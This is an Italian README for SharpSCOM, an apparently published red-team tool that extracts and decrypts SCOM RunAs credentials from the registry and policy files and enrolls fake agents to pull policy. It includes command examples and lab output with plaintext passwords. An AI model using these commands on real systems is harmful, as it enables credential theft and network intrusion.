
Un'utilità C# per interagire con SCOM
Uno strumento C# per interagire con Microsoft System Center Operations Manager (SCOM).
Questo strumento è stato testato con il server SCOM versione 10.22.10118.0.
L'integrazione SSPI è fornita tramite la libreria nsspi di Kevin Thompson (antiduh), rilasciata sotto licenza BSD-2.
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
I comandi seguenti sono pensati per essere eseguiti su un server attualmente registrato con SCOM. Nel caso in cui le credenziali RunAs siano in uso e siano state distribuite al server, possiamo usare i comandi seguenti per recuperare le credenziali in chiaro.
Estrae e decifra le credenziali RunAs dal registro di sistema (richiede privilegi di amministratore locale):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
Estrae e decifra le credenziali RunAs memorizzate nella sezione SecureData di un file XML dei criteri dell'agente. Per impostazione predefinita si trova in C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config
Questo comando individua il certificato RunAs SCOM corrente nell'archivio Local Machine\Microsoft Monitoring Agent e usa la chiave privata associata per la decifratura.
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
Se abbiamo il controllo di un host aggiunto al dominio non attualmente registrato con SCOM, possiamo tentare di registrare il dispositivo e richiedere un file XML dei criteri dell'agente se i requisiti seguenti sono soddisfatti.
Requisiti:
Per registrare un nuovo dispositivo, l'agente SCOM invierà al server SCOM ciascuno dei 4 messaggi seguenti.
| Comando | Descrizione |
|---|---|
RegisterAgent | Registra un nuovo agente con il server SCOM |
RegisterCertificate | Assegna un certificato a un agente esistente |
RequestPolicy | Richiede i criteri al server SCOM |
DownloadPolicy | Scarica i criteri dal server SCOM |
A scopo di test, ciascuno dei messaggi sopra indicati può essere inviato singolarmente al server SCOM usando il comando corrispondente in SharpSCOM.
Nota: il server SCOM si aspetta di ricevere questi messaggi insieme come parte di una richiesta multi-messaggio. Per ricevere in modo affidabile il file dei criteri dell'agente, dobbiamo usare il comando
AutoEnroll, che invia i comandiRegisterAgent,RegisterCertificateeRequestPolicyinsieme come messaggio multi-parte.
Dopo l'invio del comando AutoEnroll, la risposta del server SCOM viene analizzata automaticamente e usata per generare il messaggio DownloadPolicy finale per scaricare il file XML dei criteri dell'agente.
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1